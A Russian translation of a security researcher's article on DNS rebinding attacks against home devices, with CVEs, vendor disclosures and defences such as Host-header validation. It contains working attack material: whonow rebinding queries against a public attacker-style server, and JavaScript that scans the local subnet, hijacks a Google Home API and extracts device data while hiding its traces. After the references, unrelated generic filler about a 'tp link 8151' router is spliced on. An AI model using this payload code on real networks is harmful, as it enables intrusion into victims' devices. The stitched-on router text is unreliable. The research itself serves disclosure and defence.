Атака на роутер из интернета

Автор: Brannon Dorsey

Если вы кликните на вредоносную ссылку, злоумышленник может удаленно получить контроль над вашим Wi-Fi роутером, колонками Google Home / Sonos, приставкой Roku, домашним терморегулятором и другими устройствами.

Можно сказать, что домашняя сеть является сакральным местом и вашим персональным кусочком киберпространства. Здесь мы подключаем телефоны, ноутбуки и «умные» устройства к интернету и объединяем между собой для повышения удобства и качества нашей жизни. По крайней мере, так говорят в рекламных роликах. К концу второго десятилетия локальные сети все больше наводняются устройствами разного рода, начиная от умных телевизоров и мультимедийных проигрывателей и заканчивая помощниками по дому, камерами, холодильниками, дверными замками и регуляторами температуры. Короче говоря, домашние сети становятся похожи на приют для проверенных персональных и домашних устройств.

Для доступа и управления многими из вышеупомянутых устройств аутентификация сильно урезана или вообще отсутствует. По сути, эти девайсы доверяют своим соседям по сети, как если бы вы безоговорочно доверяли каждому, кто оказывался в вашем доме. Взаимодействие между устройствами происходит через UPnP и HTTP, а защита от подключений со стороны интернета лежит на фаерволе роутера. Можно сказать, что все коммуникации происходят в огороженном пространстве, защищенном от внешних угроз. Так, вероятно, думают разработчики и производители этих девайсов.

Несколько месяцев назад я начал изучать схему атак десятилетней давности с использованием перепривязки DNS (DNS rebinding). Попросту говоря, перепривязывание DNS позволяет удаленному деятелю обойти фаервол и использовать браузер жертвы в качестве прокси для прямого подключения к устройствам домашней сети. Например, кликнув по ссылке или посмотрев вредоносный баннер, вы можете непреднамеренно дать доступ злоумышленнику к вашему терморегулятору, отвечающему за температуру в вашем доме.

Примечание: в журнале Wired это исследование было одновременно опубликовано в аналогичной статье за авторством Лили Хэй Ньюмен.

В чем суть перепривязывания DNS?

Перед тем как погружаться в суть этой темы, разберемся с механизмом безопасности, который нужно обойти во время перепривязки DNS. Конкретно речь идет о политике (правиле) ограничения домена (same-origin policy). Некоторое время назад разработчики браузеров решили, что веб-страницам на одном домене нельзя отсылать произвольные запросы другому домену без разрешения со стороны второго домена. Если вы перейдете по вредоносной ссылке, целевая страница не должна отсылать HTTP-запрос банковскому сайту и использовать вашу сессию для опустошения счета. Таким образом, браузеры ограничивают отсылку HTTP-запросов с домена для доступа к ресурсам только в рамках текущего домена (или к другим доменам, разрешенным в cross—origin resource sharing)

Однако при помощи DNS можно спровоцировать взаимодействие между браузером и сторонним доменом, коммуникация с которым не разрешена явным образом.

Рассмотрим пример. Код по адресу http://malicious.website не может выполнить стандартный запрос XMLHttpRequest к сайту http://bank.com/transfer-fund, поскольку мы имеем дело с разными доменами, расцениваемые браузером как разные источники. В браузерах предусмотрено сравнение протокола, имени домена и номера порта между запросом и источником страницы, откуда отсылается запрос. Эти параметры должны быть идентичны. Звучит неплохо, не так ли?

Однако радоваться пока рано. Ни для кого не секрет, что каждое имя домена привязано к IP-адресу. Например, за именем malicious.website может быть закреплен адрес 34.192.228.43, а за сайтом bank.com – адрес 171.159.228.150. В DNS реализован механизм для трансляции легко запоминаемых имен в IP-адреса, используемых компьютерами для коммуникации друг с другом. Однако в современных браузерах во время анализа ограничений из same-origin policy используются URL’ы, а не IP-адреса. Что произойдет, если IP-адрес сайта malicious.website быстро поменяется с 34.192.228.43 на 171.159.228.150? С точки зрения браузера ничего не изменилось. Однако вместо коммуникации с сервером с файлами сайта malicious.website браузер будет взаимодействовать с сайтом bank.com. Понимаете, в чем дело? DNS может использоваться для вовлечения браузеров в коммуникацию с серверами, не разрешенными явным образом.

За последний год перепривязка DNS несколько раз оказывалась в центре внимания после обнаружения уязвимостей в популярном программном обеспечении. Наиболее примечательные случаи: видеоигры от компании Blizzard, торрент-клиент Transmission и кошельки криптовалюты Ethereum оказались уязвимы к перепривязыванию DNS. В случае с уязвимостью Ethereum Geth при определенных обстоятельствах злоумышленник мог получить полный контроль над аккаунтом жертвы и всеми монетами.

Как упоминалось выше, перепривязка DNS позволяет обходить фаервол и использовать браузер в качестве прокси для прямого доступа к устройствам в домашней сети.

Как работает перепривязывание DNS

1. Злоумышленник управляет вредоносным DNS-сервером, отвечающим на запросы касательно домена (предположим, rebind.network).

2. Злоумышленник провоцирует жертву на переход по адресу http://rebind.network в браузере. Например, при помощи фишинга или XSS или через показ HTML-баннера.

3. Как только жертва перешла по ссылке, браузер делает запрос к DNS-серверу, связанному с преобразованием имени rebind.network в IP-адрес. При получении запроса, сервер, контролируемый злоумышленником, отсылает настоящий IP-адрес (34.192.228.43). Кроме того, значение TTL устанавливается равным 1 секунду. Таким образом, кэш на машине жертвы будет актуален не очень долго.

4. Жертва загружает страницу по адресу http://rebind.network, содержащую вредоносный JavaScript-код, начинающий выполняться в браузере. Страница многократно выполняет странные POST-запросы к странице http://rebind.network/thermostat с полезной нагрузкой JSON наподобие {“tmode”: 1, “a_heat”: 95}.

5. Вначале эти запросы отсылается на веб-сервер, подконтрольный злоумышленнику, с IP-адресом 34.192.228.43, однако через некоторое время (схема DNS-кэширования в браузере выглядит странно) резольвер браузера обнаруживает, что DNS-запись для адреса rebind.network устарела, и выполняет еще один запрос.

6. DNS-сервер, подконтрольный злоумышленнику, получает от жертвы второй запрос, но в этот раз посылает 192.168.1.77, являющийся IP-адресом умного терморегулятора
из локальной сети жертвы.

7. Жертва получает вредоносный DNS-ответ и вместо http://rebind.network начинает посылать HTTP-запросы на адрес 192.168.1.77. Поскольку с точки зрения браузера ничего не изменилось, отсылается еще один POST-запрос на адрес http://rebind.network/thermostat.

8. В этот раз POST-запрос отсылается на небольшой незащищенный веб-сервер, работающий в терморегуляторе, подключенного через Wi-Fi. Регулятор температуры обрабатывает запрос, и температура в доме жертвы устанавливается 35 градусов по Цельсию.

Этот сценарий был реализован в реальном эксплоите (CVE-2018–11315), найденном и использованном мной против моего умного терморегулятора Radio Thermostat CT50. Атаки, подобные вышеописанной, могут иметь еще более серьезные последствия для устройств и служб, работающих в домашней сети. Используя браузер жертвы в качестве HTTP-прокси, при помощи атак на базе перепривязки DNS можно обходить сетевые фаерволы и делать каждое устройство, защищенное в интранете, доступным злоумышленнику, работающему удаленно.

Какие устройства уязвимы?

После обнаружения и эксплуатации этой бреши в самом первом устройстве, с которым я работал, мне подумалось, что множество других IoT-устройств также могут быть уязвимы. Я начал собирать и изучать другие популярные умные домашние устройства, доступные на рынке. В течение последующих нескольких недель каждое устройство, побывавшее в моих руках, оказалось уязвимым к перепривязке DNS в той или иной степени. В некоторых случаях удавалась информационная утечка, в других – получение полного контроля над устройством. Динамик Google Home, медиаплеер Chromecast, приставка Roku, беспроводные системы Sonos и некоторые модели термостатов могут стать жертвой злоумышленника, работающего удаленно.

Выдержка из твиттера: идея о том, что локальная является защищенной – ошибочна. Если продолжать верить в эту иллюзию, пострадает много людей.

Я контактировал с производителями вышеуказанных устройств. Некоторые патчи находятся в стадии разработки, некоторые – уже выпущены (подробнее про мою находку). Я упомянул об устройствах, протестированные мной лично. Если продукция больших компаний уязвима к перепривязке DNS, значит, более мелких производителей эта проблема тоже касается, и можно сказать, что уязвимых устройств бесчисленное множество.

Рисунок 1: Поиск устройств в домашней сети, уязвимых к перепривязке DNS

Я написал экспериментальный эксплоит, пригодный для поиска уязвимых устройств в домашней сети и доступный по адресу http://rebind.network.

Динамик Google Home

Рисунок 2: Модель Google Home Mini

Приложения для управления продукцией Google Home используют незадокументированный REST API, работающий на порту 8008 устройства (например, http://192.168.1.208:8008). Первое упоминание про эту службу я нашел в 2013 году, когда Брэндон Фикет написал о локальном API, найденном во время сниффинга Wi-Fi трафика, передаваемого медиаплеером Chromecast. Прошло пять лет и, кажется, компания Google интегрировала загадочный API во все продукты Google Home. Как вы можете догадаться, на данный момент малоизвестный API стал хорошо задокументированным силами энтузиастов. На самом деле, ранее в этом году Ризвик Вибху (Rithvik Vibhu) опубликовал детальную документацию на этот API.

Этот API дает возможность расширенного контроля над устройствами без аутентификации. Например, доступны функции запуска приложения и просмотра контента, сканирования и подключения к близлежащим Wi-Fi сетям, перезагрузки и даже сброса настроек до заводских.

Представьте ситуацию, когда вы просматривайте сайт и вдруг настройки вашего динамика Google Home сбрасываются. Или ваш сосед по квартире оставил браузер открытым и HTML-баннер отправил ваш медиаплеер Chromecast в цикл перезагрузки в то время, когда вы смотрите кино? Мой любимый сценарий использования этого API – сканирование Wi-Fi. Используя эту возможность в сочетании с публично доступными данными вардрайвинга, злоумышленники могут узнать точную геолокацию на базе вашего списка близлежащих Wi-Fi сетей. Подобная атака окажется успешной, даже если вы отключили API геолокации в браузере и используете VPN для туннелирования трафика через другую страну.

Вот пример
информации, которую мне удалось извлечь с моего Chromecast. Можете догадаться, где я писал этот пост?

Обновление от 19 июня 2018 года: Крэйг Янг одновременно со мной исследовал эту уязвимость и опубликовал результаты перед моим постом. Крэйг создал концептуальный код для осуществления атаки, связанной с геолокацией, описанной выше, но саму атаку ни разу не реализовал. Работа Крейга вместе с комментарием Брайана Креба определенно заслуживают внимания.

Я уведомил Google об этой проблеме в марте во время обнаружения и еще раз в апреле вследствие отсутствия какой-либо реакции. Согласно статье Креба, Янг сообщил об уязвимости в Google, но тикет был закрыт с комментарием «Статус: Исправлено не будет (Так и задумывалось)». Исправления не выходили до тех пор, пока Креб вышел на контакт с Google, и проблему согласились исправить. Ожидается, что Google выпустит патч в середине июля 2018 года.

Беспроводная колонка Sonos

Рисунок 3: Sonos Play:1

Как и Google Home, беспроводные колонки Sonos также могут оказаться под управлением злоумышленника удаленно (CVE-2018–11316). Кликнув по вредоносной ссылке, ваш приятный вечер под музыку джаза может оказаться прерван. Эта шутка пригодна для простых и безвредных пранков.

После недолгих поисков я нашел несколько интересных ссылок на веб-сервере Sonos UPnP, которые могут оказаться не столь невинными. Кажется, на устройстве есть несколько скрытых веб-страниц для отладочных целей. На странице http://192.168.1.76:1400/support/review содержит XML файл с результатами выполнения различных Unix-команд на устройстве (на котором, скорее всего, работает дистрибутив Linux).

В разделе http://192.168.1.76:1400/tools есть простейшая HTML-форма, позволяющая запускать некоторые Unix-команды на устройстве Sonos, а HTTP API позволяет злоумышленнику, работающему удаленно, исследовать внутренние и внешние сети при помощи команды traceroute и отправлять к хостам ICMP-запросы при помощи команды ping и простых POST-запросов. Злоумышленник может использовать колонку Sonos как отправную точку для составления сетевой топологии и сбора информации о подключениях, необходимую для реализации последующих атак.

Обновление от 19 июня 2018 года: В Sonos сделали заявление вместе с этой публикацией: «После изучения возможностей по реализации перепривязки DNS мы немедленно приступили к созданию патча, который выйдет в июльском обновлении».

Приставка Roku

Рисунок 4: RokuTV

Во время исследования сети в холле здания, где я работаю, был обнаружен HTTP-сервер на порту 8060 устройства RokuTV. Вскоре я выяснил, что External Control API
этого девайса позволяет управлять базовой функциональностью: запуском приложения, поиском и проигрыванием файлов. Кроме того, доступно управление через кнопку и нажатие клавиш как на виртуальном пульте. Доступны также входные каналы к сенсорам, включая акселерометр, датчик ориентации, гироскоп и даже магнитометр (зачем?). Как вы вероятно догадались, локальное API не требует аутентификации и может эксплуатироваться через перепривязку DNS (CVE-2018–11314).

Я рассказал о своих находках специалистам по безопасности компании Roku и получил следующий ответ:

Риска для наших покупателей или платформы этот API не несет. Мы знаем о веб-приложениях наподобие http://remoku.tv, при помощи которого через браузер можно взаимодействовать с устройством, находящимся в той же самой локальной сети.

После описания детального сценария атаки вице-президент, курирующий вопросы безопасности в компании, сказал, что команда «рассматривает этот инцидент как актуальную угрозу, а не как рядовой случай». В итоге выпуск релиза Roku OS 8.1 был немедленно приостановлен и началась разработка патча. Ожидалось, что весь процесс займет около 3-4 месяцев, если не удастся найти адекватное решение для текущего релиза.

После некоторых размышления я проинформировал специалистов ROKU, что работаю репортером в WIRED и планирую вскоре опубликовать свое исследование. На следующее утро я получил письмо, где сообщалось о завершении разработки патча и начале процесса обновления прошивок у 20 миллионов устройств.

Обновление от 19 июня 2018 года: Компания Roku выпустила заявление вместе с публикацией этой статьи: «После того как мы узнали о проблеме, связанной с DNS привязкой, был создан патч. Устройства у покупателей на данный момент обновляются. Обратите внимание, что любая потенциальная эксплуатация этой уязвимости не несет рисков, связанных с безопасностью, для учетных записей наших покупателей и партнеров по продажам или платформы Roku».

Радиотермостат

Рисунок 5: Радиотермостат CT50

Радиотермостаты CT50 и CT80 содержат наиболее серьезные уязвимости среди найденных мной. Эти устройства являются наиболее дешевыми среди «умных» термостатов, доступных на рынке на данный момент. Я заказал одно устройство после того как узнал о недостаточной безопасности подобных девайсов из бюллетеня CVE-2013–4860, где
сообщалось об отсутствии аутентификации и возможности контроля кем попало, кто находится в одной сети с девайсом. Дэниел Кроули из компании Trustwave SpiderLabs несколько раз пытался сообщить производителю об уязвимости, но ответа не последовало, и отчет о бреши был опубликован. К сожалению, отсутствие ответа часто является причиной публикации отчетов, особенно в случае с мелкими производителями. Я предполагаю, что уязвимость, скорее всего, оставалась неисправленной в течение 5 лет, и заказал новую модель CT50.

Мое предположение оказалось верным, и API для управления терморегулятором было уязвимо к перепривязке DNS. Стоит ли говорить о возможных последствиях, если терморегулятор вашего здания окажется под контролем злоумышленника, работающего удаленно? Экспериментальный эксплоит по адресу http://rebind.network извлекает некоторую базовую информацию из термостата прежде, чем установить температуру 35 градусов по Цельсию. Эта температура может оказаться опасной или даже смертельной в жаркие летние месяцы особенно для пожилых людей или людей с ограниченными возможностями. Если же ваш домашний девайс оказалось под контролем злоумышленника, пока вы были в отпуске, счет за электричество может оказаться огромным.

Серьезность уязвимости и продолжающаяся халатность компании Radio Thermostat Company of America, которой потребовалось несколько лет для исправления проблемы – прекрасный пример, зачем нужно регулировать безопасность IoT-устройств на законодательном уровне.

Wi-Fi роутеры

Если вы продолжаете читать статью, то, скорее всего, у вас в голове возникла мысль, что другие устройства из домашней сети также могут быть уязвимы. Думаю, вас не удивит тот факт, что исторически сетевые роутеры в целом являются наиболее распространенной целью для атак, связанных с перепривязкой DNS.

Можно сказать, что сетевые роутеры хранят ключи от многих дверей. Если вы контролируете роутер, то, по сути, контролируете сеть. Существует два распространенных вектора с использованием перепривязки DNS:

1. Передача через POST-запрос со стандартными учетными записями на страницу наподобие http://192.168.1.1/login для авторизации в качестве администратора. Далее у злоумышленника появляется полный контроль над устройством и возможность конфигурирования сети.

2. Использование интерфейса Internet Gateway Device (IGD) через UPnP для настройки постоянных соединений для проброса портов и открытия произвольных UDP / TCP портов для доступа из публичного интернета.

Первый метод легко реализовать, поскольку покупатели зачастую не меняют стандартные учетные записи. Возможно, будет включено использование WPA2 и установлен пароль для Wi-Fi, но панель настройки для роутера будет доступна каждому по логину admin и паролю admin.

Второй сценарий еще хуже и представляет собой откровенную пародию. Так или иначе, у большинства современных домашних роутеров сервера UPnP включены по умолчанию. Эти сервера дают возможность настраивать роутер с правами администратора любой машине из сети без аутентификации через HTTP. Любой пользователь из локальной сети или интернета (через перепривязку DNS) может воспользоваться IGD/UPnP для настройки DNS-сервера роутера, добавить / удалить переадресацию портов для NAT и WAN, посмотреть объем трафика полученного/переданного в сети и получить доступ к публичному IP-адресу роутера (подробности на сайте upnp-hacks.org).

Через перепривязку DNS, направленную на UPnP сервер роутера, проделать дыру в фаерволе и оставить постоянную дверь для реализации других атак на базе протоколов TCP / UDP на устройства из сети, но без ограничений по HTTP, присутствующих у перепривязки DNS.

Злоумышленники могут даже настроить правила проброса портов для переадресации трафика на внешние IP-адреса и сделать роутер жертвы как часть большой сети инфицированных роутеров, используемой для маскировки трафика от государственных органов (подробнее в статье про UPnProxy).

IGD также позволяет обнаружить публичный IP-адрес роутера через простейший HTTP-запрос без авторизации. В комбинации с перепривязкой DNS можно деанонимизировать пользователей, пытающихся замаскировать публичный IP-адрес через VPN или TOR.

Однако, что касается перепривязки DNS в контексте роутеров, то все не так очевидно. Я видел роутеры, где полностью блокируется перепривязка DNS, а также роутеры с рандомизацией порта UPnP сервера с целью затруднения реализации подобного рода атак. С другой стороны, я сталкивался с роутерами полностью беззащитными к перепривязке DNS. Если честно, то мне не очень хочется разбираться и исследовать роутеры на предмет реализации перепривязки DNS. В основном потому, что я боюсь получить шокирующие результаты.

Безопасность локальной сети – иллюзия

Возникает закономерный вопрос. Почему так много устройств уязвимо к атаке десятилетней давности? Вероятно, причин больше, чем я думаю, но мне кажется, что основных – две.

Рисунок 6: Опрос на предмет осведомленности об атаках на базе перепривязки DNS

Первое, о чем стоит упомянуть – уровень осведомленности. Насколько я могу судить, перепривязка DNS не столь популярна, как могла бы быть. Конечно, некоторые специалисты могли слышать об этих атаках, но я почти уверен, что очень мало людей реально опробовали эту технологию на практике. Эта атака громоздка и трудна в реализации. Вы должны организовать вредоносный DNS-сервер в облаке, написать полезную нагрузку на JavaScript, заточенную под конкретную службу, передать полезную нагрузку жертве в целевой сети. Затем нужно понять, как использовать браузер жертвы для перехода на целевую машину, где работает нужная служба, IP-адрес которой, вероятно, вы не знаете. В общем, много накладных расходов и мало надежности. Я написал несколько утилит для упрощения задачи. Подробности далее.

Объявление в твиттере: «Требуются разработчики для написания программного обеспечения для работы с локальными частными сетями, как если бы эти сети были враждебными и публичными».

Даже если перепривязка DNS станет более популярной среди специалистов по кибербезопаности, нет гарантии, что мы увидим снижение числа зараженных устройств, поскольку API реализуется веб-разработчиками. Естественно, веб-разработчики должны знать, что для доступа к API извне должна быть авторизация. С другой стороны, существует распространение мнение, что локальные сети сами по себе защищены от вторжения из интернета, и локальные API перекладывают вопросы достоверности и безопасности на саму локальную сеть. Зачем нужна авторизация в REST API, если в роутере уже есть авторизация? Целые протоколы навроде UPnP реализованы на основе идеи, что устройства в сети доверяют друг другу. Эта концепция и является основным корнем проблемы.

Полная версия объявления в твиттере: «Требуются разработчики для написания программного обеспечения по работе с локальными сетями, как если бы эти сети были враждебными и публичными, поскольку мы не считаем локальные сети полностью безопасными. Если мы будем продолжать думать, что локальные сети безопасны, может пострадать много людей».

Защита от перепривязки DNS

Пользователи

Как пользователь какого-либо продукта или службы, вы часто зависите от создателя продукта. Однако в случае с перепривязкой DNS у вас есть некоторый контроль над ситуацией, и вы можете защититься от подобного рода угроз, изменив настройки роутера. Сервис OpenDNS Home бесплатен и может быть использовать для фильтрации подозрительных IP-адресов, как, например, частных IP-диапазонов в DNS-ответах. Нужно поменять DNS-сервер вашего роутера со стандартного на один из DNS-серверов, предоставляемых службой OpenDNS Home.

Если вы предпочитаете управлять фильтрацией самостоятельно и не доверяете публичным DNS-сервера, можете воспользоваться Dnsmasq или установить прошивку на роутере навроде DD-RT. Каждое из этих решений вполне уместно, если у вас есть доступ к роутеру. Однако будьте бдительными. Вы все еще можете оказаться жертвой перепривязки DNS, если сеть не защищена от подобного рода атак.

Разработчики

Если вы разработчик или участвуете в создании продукта с HTTP API, существует несколько способов защититься от подобного рода атак. Рассмотрим три простых метода.

Самое простое решение и без побочных эффектов – добавить проверку заголовка «Host» на стороне HTTP-сервер. Этот заголовок добавляется во все HTTP-запросы, отсылаемые современными браузерами и содержит адрес сервера (hostname:port) для коммуникации. В качестве адреса сервера может выступать имя домена или IP-адреса, однако в любом случае после получения запроса нужно проверить, что хост в заголовке совпадает с хостом сервера.

Поскольку перепривязка DNS основывается на изменении IP-адреса, связанного с именем домена, заголовок Host во вредоносном HTTP-запросе, направляемом в целевую службу будет содержать оригинальное имя домена. Вредоносный POST-запрос, используемый на странице авторизации роутера, будет иметь значение заголовка Host, отличающееся от имени хоста или IP-адреса роутера. Соответственно, вредоносный заголовок будет выглядеть примерно так Host: malicious.website. Веб-серверам следует проверять, что запрашиваемый заголовок Host в точности совпадает с настоящим именем хоста. В противном случае должен возвращаться HTTP-статус с кодом 403 (Forbidden). Я написал NPM-модуль с вышеописанным функционалом для веб-серверов Express.js. Схожее решение для другого сервера или на другом языке реализовать довольно просто.

Еще один эффективный метод для защиты от перепривязки DNS – вместо HTTP использовать HTTPS даже в локальных сетях. Во время перепривязки у целевой службы будет SSL-сертификат, который окажется невалидным для сайта malicious.website, и запрос к API будет заблокирован. В качестве бонуса у пользователей повысится безопасность в целом и появится все фишки, присутствующие в TLS/SSL. Обычно производители не поставляют IoT-устройства с TLS/SSL сертификатами, однако в медиа-сервере Plex проблема решена оригинальным образом, когда перепривязка DNS используется для выпуска сертификатов и защиты покупателей!

Вероятно, наилучшее решение, хотя с возможными побочными эффектами для вашей системы – добавить аутентификацию в API. Если на API завязан важный функционал или доступ к конфиденциальной информации, то права должны быть ограничены. К этому API не должно быть доступа у всех из локальной сети и тем более из публичного интернета (соответственно, и через привязку DNS тоже). Нет никакой необходимости в том, чтобы у любого устройства в беспроводной был полный контроль над температурой в помещении. Мы часто забываем, как легко взломать WPA2.

Инструменты для реализации перепривязки DNS

Для повышения осведомленности о перепривязки DNS я создал утилиты и библиотеки, чтобы вы могли попробовать реализовать подобные атаки на практике. Помимо полезной нагрузки на JavaScript, написанной для целевого устройства или службы, схема доставки полезной нагрузки, взаимодействие с вредоносным DNS-сервером и перечисления хостов в сети жертвы во многом схожи от случая к случаю. Все инструменты идут с открытым исходным кодом, и вы можете легко разобраться и сымитировать перепривязку DNS.

· «Вредоносный» DNS-сервер: whonow

· Библиотека на JavaScript для фронтэнда: DNS rebind toolkit

Whonow

Whonow
представляет собой DNS-сервер, позволяющий динамически настраивать ответы и правила перепривязки при помощи все тех же запросов к домену. Пример:

# respond to DNS queries for this domain with 34.192.228.43 the first

# time it is requested and then 192.168.1.1 every time after that.

A.34.192.228.43.1time.192.168.1.1.forever.rebind.network

# respond first with 34.192.228.43, then 192.168.1.1 the next five

# times, and then start all over again (1, then 5, forever…)

A.34.192.228.43.1time.192.168.1.1.5times.repeat.rebind.network

При использовании динамических правил для перепривязки DNS нам не нужно разворачивать собственный DNS-сервер для эксплуатации политики ограничения домена браузера. Каждый может использовать публичный сервер whonow, работающий на порту 53 по адресу rebind.network.

Прямо сейчас можно воспользоваться утилитой dig и отправить запрос к публичному серверу. Сервер будет отвечать на запросы для доменных имен *rebind.network.

# dig is a unix command for making DNS requests

dig A.10.10.10.50.forever.rebind.network

;; QUESTION SECTION:

;10.10.10.50.forever.rebind.network. IN A

;; ANSWER SECTION:

10.10.10.50.forever.rebind.network. 1 IN A 10.10.10.50

Whonow всегда устанавливает значение TTL равным одной секунде, и ответы не будут долго находиться в кэше DNS-резольвера.

Рисунок 7: Ответы публичного сервера whonow

DNS Rebind Toolkit

DNS Rebind Toolkit представляет собой библиотеку для автоматизации атак на базе перепривязки DNS. Как только вы написали полезную нагрузку на JavaScript для целевой службы, эта библиотека позволит вам реализовать атаку в сети жертвы.

· Используется утечка IP-адресов в WebRTC для выяснения локального IP-адреса жертвы.

· Автоматизирован перебор диапазона подсети, и вы можете скомпрометировать устройства, IP-адреса которых не известны.

· Автоматизирована перепривязка DNS. Возвращается объект Promise, который резолвится после успешного завершения перепривязки.

· Используется сервер whonow. Нет необходимости разворачивать собственный DNS-сервер для реализации перепривязки.

· Предусмотрено несколько полезных нагрузок для атаки на наиболее распространенные IoT устройства. Изучая хорошо задокументированные примеры, вы можете написать собственные эксплоиты.

Реализация атаки против устройства Google Home в подсети 192.168.1.1/24 не сложнее, чем внедрить код в страницу index.html.

// JS in index.html

DNSRebindAttack.getLocalIPAddress()

.then(ip => launchRebindAttack(ip))

.catch(err => {

    console.error(err)

    // Looks like our nifty WebRTC leak trick didn't work 

    // No biggie, most home networks are 192.168.1.1/24 anyway.

    launchRebindAttack('192.168.1.1')

})

function launchRebindAttack(localIp) {

    // convert 192.168.1.1 into array from 192.168.1.0 - 192.168.1.255

    const first3Octets = localIp.substring(0, localIp.lastIndexOf('.'))

    const ips = [...Array(256).keys()].map(octet => `${first3Octets}.${octet}`)

    // The first argument is the domain name of a publicly accessible

    // whonow server (https://github.com/brannondorsey/whonow).

    // I've got one running on port 53 of rebind.network you can to use.

    // Google Home's undocumented HTTP API server runs on port 8008

    const rebind = new DNSRebindAttack('rebind.network', 8008)

    // Launch a DNS Rebind attack, spawning 255 iframes

    rebind.attack(ips, '127.0.0.1', 'payload/google-home.html')

}

Файл index.html инициирует атаку, создавай iframe для каждого IP-адреса в массиве, передаваемого в rebind.attack(…). В каждый iframe содержит payloads/google-home.html со следующим сниппетом:

// JS in payloads/google-home.html

attack()

.then((json) => {

          console.log('The attack was successful! Here is the JSON it exfiltrated:')

          console.log(json)

      },

      err => {

          // there probably isn't even a machine with this IP address...

          console.error('No Google Home found at this IP ')

      }

)

// remove the iframe from index.html once the attack is complete. 

// Leave no trace ;)

.then(() => DNSRebindNode.destroy())

async function attack() {

    // a helper function that returns some fetch() options configured with

    // certain useful headers

    const getOptions = DNSRebindNode.fetchOptions()

    try {

        const opts = { fetchOptions: getOptions }

        return await DNSRebindNode.rebind(`http://${location.host}/setup/eureka_info`, opts).then(data => data.json())

    } catch (err) {

        return Promise.reject(err)

    }

}

Ссылки и благодарности

Я благодарю Лили Хэй Ньюмэн за три месяца плодотворных разговоров, которые привели к освещению этого исследования в журнале WIRED. Огромная благодарность Вильяму Робертсону за помощь в моей работе и особенно за разрешение поэкспериментировать в домашней сети и над устройством Sonos. Также благодарю отделы безопасности Roku и Sonos за быструю реакцию, разработку, выпуск обновлений для прошивок и защиты пользователей от атак на базе перепривязки DNS.

Ниже приведен перечень статей и ресурсов, имеющих отношение к перепривязке DNS, которые мне очень помогли во время исследования. Надеюсь, для вас эти ссылки тоже окажутся полезными:

• Stanford’s Original DNS Rebinding Research (2007)
• DNS Rebinding with Robert RSnake Hansen (прекрасное видео)
• CORS, the Frontendian
• Luke Young’s DEFCON 25 “Achieving Reliable DNS Rebinding”
• Ricky Lawshae’s DEFCON 19 SOAP & UPnP Talk
• UPnP Hacks website
• Dear developers, beware of DNS Rebinding
• Practical Attacks with DNS Rebinding
• Original Blizzard Game’s DNS rebinding bug report by Tavis Ormandy

Сетевая безопасность стала одной из наиболее актуальных тем в современном мире. Все больше людей становятся жертвами кибератак, которые могут привести к утечке личной информации, краже денег или попыткам нелегального доступа к сети. Одним из наиболее уязвимых элементов вашей домашней сети является роутер, особенно если вы используете модель tp link 8151.

tp link 8151 – это популярная модель роутера, но в последнее время стало известно о возникновении угрозы его безопасности. Хакеры разработали специальные программы и методы, позволяющие им получить доступ к вашему роутеру и контролировать его работу. Это может привести к серьезным последствиям, включая перехват трафика, изменение настроек сети или даже полный отказ от обслуживания.

Однако, не все потеряно. Существуют несколько мер безопасности, которые вы можете принять, чтобы защитить свою сеть и предотвратить атаку на роутер tp link 8151. Во-первых, обновляйте прошивку регулярно. Производитель выпускает обновления, которые исправляют обнаруженные уязвимости и улучшают безопасность. Установите и настройте сильный пароль для доступа к административной панели роутера – используйте сочетание строчных и прописных букв, цифр и специальных символов.

Атака на роутер tp link 8151

Атака на роутер TP-Link 8151 может быть осуществлена различными способами, но в большинстве случаев она связана с уязвимостями в программном обеспечении или слабыми паролями доступа.

Одним из наиболее распространенных видов атаки на роутер TP-Link 8151 является перехват интернет-трафика. Злоумышленник может использовать эту уязвимость для получения доступа к вашим личным данным или паролям. Кроме того, атаки могут направляться на изменение настроек роутера, блокировку доступа к нему или внедрение вредоносного ПО.

Для защиты своей сети от атак на роутер TP-Link 8151 необходимо принять несколько мер. Во-первых, регулярно обновляйте прошивку устройства. Производители постоянно работают над устранением уязвимостей и выпускают обновления, которые повышают безопасность роутера. Также важно выбрать надежный пароль доступа к управляющей панели роутера. Используйте сложные комбинации из букв, цифр и специальных символов, чтобы уменьшить вероятность получения злоумышленником доступа к вашему роутеру.

Однако, даже при максимальной защите роутера, существует риск попадания вредоносного ПО на компьютер или мобильное устройство в вашей сети. Поэтому рекомендуется установить антивирусное программное обеспечение на все свои устройства и регулярно проводить проверки на наличие вредоносных программ.

В заключение, атака на роутер TP-Link 8151 может причинить большой вред вашей сети и нарушить безопасность ваших данных. Однако, следуя простым рекомендациям по защите, вы можете эффективно предотвратить такие атаки и обезопасить свою сеть.

Методы защиты от атак

1. Обновление прошивки: Регулярное обновление прошивки роутера является одним из самых важных шагов для обеспечения безопасности. Прошивки обновляются производителем для исправления уязвимостей и добавления новых функций. Не забывайте проверять наличие обновлений и устанавливать их при необходимости.

2. Сложный пароль: Используйте сложный пароль для доступа к административной панели роутера. Избегайте использования простых паролей, таких как «password» или «admin». Хороший пароль должен содержать как буквы, так и цифры, а также специальные символы. Измените пароль по умолчанию на что-то уникальное.

3. Отключение удаленного управления: Если вы не используете удаленное управление роутером, лучше его отключить. Это снизит риск атаки с внешних источников. Если вам все же нужно удаленное управление, убедитесь, что используемый протокол обеспечивает защищенное соединение.

4. Включение брандмауэра: Брандмауэр поможет блокировать потенциально вредоносный трафик и защитить вашу сеть от атак. Убедитесь, что встроенный брандмауэр роутера включен и настроен правильно.

5. Фильтрация MAC-адресов: Включение фильтрации MAC-адресов поможет предотвратить подключение нежелательных устройств к вашей сети. Вы можете указать список разрешенных MAC-адресов, и все остальные будут заблокированы.

6. Гостевая сеть: Создание отдельной гостевой сети поможет ограничить доступ к ресурсам вашей основной сети. Гости будут иметь доступ только к Интернету, их устройства не будут иметь доступа к вашим личным файлам и устройствам на основной сети.

7. Безопасные протоколы: Используйте только безопасные протоколы для подключения к вашей сети. Например, использование WPA2 вместо более устаревших протоколов, таких как WEP, обеспечит добавочный уровень безопасности.

8. Ограничение передачи информации: Если вы не используете определенные функции роутера, отключите их. Например, если вы не используете FTP-сервер, отключите его, чтобы снизить риск атаки на этот сервис.

9. Регулярное сканирование на уязвимости: Проводите регулярные сканирования вашей сети на наличие уязвимостей. Это поможет выявить возможные проблемы и принять меры по их решению.

Набор методов защиты от атак на роутер TP-Link 8151 может быть эффективным комплексным подходом для обеспечения безопасности вашей домашней сети. Следуйте этим рекомендациям, чтобы обезопасить себя и свою сеть от потенциальных угроз.

Важность обновления прошивки

Производитель постоянно работает над улучшением прошивки, заполняя существующие уязвимости и исправляя ошибки, которые могут быть использованы злоумышленниками для атаки на вашу сеть.

